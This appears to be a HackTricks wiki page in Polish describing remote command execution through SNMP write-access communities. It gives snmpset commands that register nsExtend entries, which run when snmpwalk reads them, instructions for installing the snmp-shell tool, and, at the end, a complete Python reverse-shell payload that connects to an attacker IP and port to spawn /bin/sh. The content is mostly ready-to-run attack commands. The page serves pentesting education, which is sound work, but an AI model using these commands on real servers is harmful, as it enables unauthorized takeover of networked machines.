SNMP RCE

Support HackTricks

SNMP RCE

SNMP może być wykorzystane przez atakującego, jeśli administrator zignoruje jego domyślną konfigurację na urządzeniu lub serwerze. Poprzez nadużycie społeczności SNMP z uprawnieniami do zapisu (rwcommunity) na systemie operacyjnym Linux, atakujący może wykonywać polecenia na serwerze.

Rozszerzanie usług o dodatkowe polecenia

Aby rozszerzyć usługi SNMP i dodać dodatkowe polecenia, możliwe jest dodanie nowych wierszy do tabeli "nsExtendObjects". Można to osiągnąć, używając polecenia snmpset i podając niezbędne parametry, w tym absolutną ścieżkę do pliku wykonywalnego oraz polecenie do wykonania:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'

Wstrzykiwanie poleceń do wykonania

Wstrzykiwanie poleceń do uruchomienia na usłudze SNMP wymaga istnienia i możliwości wykonania wywoływanego binarnego/skryptu. NET-SNMP-EXTEND-MIB nakłada obowiązek podania absolutnej ścieżki do pliku wykonywalnego.

Aby potwierdzić wykonanie wstrzykniętego polecenia, można użyć polecenia snmpwalk, aby wyliczyć usługę SNMP. wynik wyświetli polecenie i jego powiązane szczegóły, w tym absolutną ścieżkę:

snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects

Uruchamianie Wstrzykniętych Komend

Gdy wstrzyknięta komenda jest odczytywana, jest wykonywana. To zachowanie jest znane jako run-on-read(). Wykonanie komendy można zaobserwować podczas odczytu snmpwalk.

Uzyskiwanie Powłoki Serwera za pomocą SNMP

Aby uzyskać kontrolę nad serwerem i zdobyć powłokę serwera, można wykorzystać skrypt Pythona opracowany przez mxrch z https://github.com/mxrch/snmp-shell.git.

Alternatywnie, powłokę odwrotną można ręcznie stworzyć, wstrzykując konkretną komendę do SNMP. Ta komenda, uruchamiana przez snmpwalk, nawiązuje połączenie powłoki odwrotnej z maszyną atakującego, umożliwiając kontrolę nad maszyną ofiary. Możesz zainstalować wymagane elementy do uruchomienia tego:

sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt

Lub odwrotna powłoka:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'

Odniesienia

Wsparcie HackTricks

Last updated